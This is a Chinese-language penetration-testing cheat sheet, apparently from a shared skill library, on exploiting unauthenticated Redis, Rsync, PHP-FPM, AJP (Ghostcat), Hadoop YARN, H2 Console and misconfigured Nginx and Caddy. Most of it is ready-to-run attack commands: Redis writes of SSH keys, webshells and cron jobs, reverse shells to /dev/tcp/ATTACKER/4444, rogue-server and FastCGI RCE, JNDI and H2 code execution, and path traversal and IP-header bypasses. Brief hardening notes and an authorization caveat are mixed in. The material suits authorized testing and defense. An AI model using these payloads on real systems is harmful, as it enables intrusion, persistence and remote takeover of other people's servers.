自动化与脚本
暴露的常见管理服务未授权访问检测与利用(Redis/Rsyn…
当 Redis、Rsync、PHP-FPM、AJP/Ghostcat、Hadoop YARN、H2 Console 等管理接口在无认证情况下暴露时,用于检测并利用这些基础设施级漏洞。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
暴露的常见管理服务未授权访问检测与利用(通用
解决思路
- 端口扫描发现服务:nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET(6379 Redis、873 Rsync、9000 PHP-FPM、8009 AJP、8088 YARN、8082 H2 Console、1099 RMI、9200 Elasticsearch、5984 CouchDB、2375 Docker API、27017 MongoDB、11211 Memcached)
- Redis 检测:redis-cli -h TARGET ping 返回 PONG 即未授权;redis-cli -h TARGET INFO server 获取版本与配置
- Redis 写 SSH 公钥:ssh-keygen -t rsa -f redis_rsa 生成密钥;cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key;config set dir /root/.ssh;config set dbfilename authorized_keys;save;然后 ssh -i redis_rsa root@TARGET
- Redis 写 Crontab 反弹 shell:set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n";config set dir /var/spool/cron/;config set dbfilename root;save
- Redis 写 Webshell:set webshell "<?php system($_GET['cmd']); ?>"; config set dir /var/www/html/; config set dbfilename shell.php; save;访问 http://TARGET/shell.php?cmd=id
- Redis 主从复制 RCE:使用 redis-rogue-server,python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER,通过 SLAVEOF → MODULE LOAD → system.exec 加载恶意 .so 模块
- Redis 加固:requirepass STRONG_PASSWORD;bind 127.0.0.1;protected-mode yes;rename-command CONFIG "";rename-command FLUSHALL ""
- Rsync 检测:rsync TARGET:: 列出匿名可访问模块;rsync -av TARGET::MODULE_NAME /tmp/loot/ 下载整个模块内容
- Rsync 写 Crontab:echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron;rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
- Rsync 加固:/etc/rsyncd.conf 中设置 auth users、secrets file、list = no、hosts allow = 10.0.0.0/8、read only = yes
- PHP-FPM/FastCGI 利用:若监听 TCP 而非 Unix socket,发送构造的 FastCGI 包执行任意 PHP 代码,如 python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
- FastCGI 关键环境变量:SCRIPT_FILENAME 指向已存在的 .php 文件;PHP_VALUE = auto_prepend_file = php://input 将 POST body 作为 PHP 代码注入;PHP_ADMIN_VALUE = allow_url_include = On 启用远程包含
- 通过 SSRF gopher 利用 PHP-FPM:gopher://TARGET:9000/_%01%01... 编码 FastCGI 包,用 Gopherus 生成:python3 gopherus.py --exploit fastcgi
- PHP-FPM 加固:php-fpm.conf 中 listen = /var/run/php-fpm.sock 仅绑定 socket;若必须 TCP 则 listen.allowed_clients = 127.0.0.1
- Ghostcat AJP(CVE-2020-1938)文件读取:python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read,可读取 webapp 根目录下任意文件(web.xml、classes、lib JAR)
- Ghostcat 文件包含转 RCE:若存在文件上传(如伪装成图片的 JSP),python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval 执行其中 JSP 代码
- AJP 加固:server.xml 中 <Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/> 或直接移除 AJP connector
- Hadoop YARN 检测:curl http://TARGET:8088/cluster 可访问即未授权 ResourceManager UI
- YARN RCE:curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application 获取 application-id;再 POST /ws/v1/cluster/apps 提交含 am-container-spec.commands.command 为反弹 shell 的 MapReduce 应用
- YARN 加固:启用 Kerberos 认证;限制管理端口网络访问
- H2 Console 检测:Spring Boot 中 spring.h2.console.enabled=true 且 web-allow-others=true,访问 http://TARGET:PORT/h2-console
- H2 JNDI 注入(BeanFactory + EL 绕过,适用于 Java 8u252+):JDBC URL 填 javax.naming.InitialContext;LDAP 响应属性 javaClassName: javax.el.ELProcessor、javaFactory: org.apache.naming.factory.BeanFactory、forceString: x=eval、x: Runtime.getRuntime().exec("id")
- H2 RUNSCRIPT RCE:CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }'; CALL EXEC('id');
- Nginx off-by-slash 路径穿越:location /static { alias /var/www/static/; } 缺少尾部斜杠,访问 /static../etc/passwd 解析为 /var/www/etc/passwd;修复为 location /static/
- Nginx 缺失 root location:使用 alias 且未定义 root 时,GET /..%2f..%2fetc/nginx/nginx.conf 可能读取 nginx.conf 等服务器文件
- X-Forwarded-For / X-Real-IP 信任绕过:若后端信任这些头做 IP 认证,添加 X-Forwarded-For: 127.0.0.1、X-Real-IP: 127.0.0.1、True-Client-IP: 127.0.0.1 可能绕过管理面板 IP 白名单
- Caddy 模板注入:启用 templates 时若用户输入进入模板渲染,{{.Req.Host}} 信息泄露、{{readFile "/etc/passwd"}} 本地文件读取
- 反向代理工具:yandex/gixy(Nginx 配置分析)、Raelize/Kyubi(反代配置扫描)、GerbenJavado/bypass-url-parser(URL 解析混淆测试)
适用边界 · 注意事项
- 目标服务已启用强认证(如 Redis requirepass、Rsync auth users、YARN Kerberos)且无法绕过时
- 服务仅绑定 127.0.0.1 或 Unix socket,无法从外部网络直接访问时
- 仅获得授权进行 Web 应用层测试,不涉及基础设施/管理接口的渗透范围时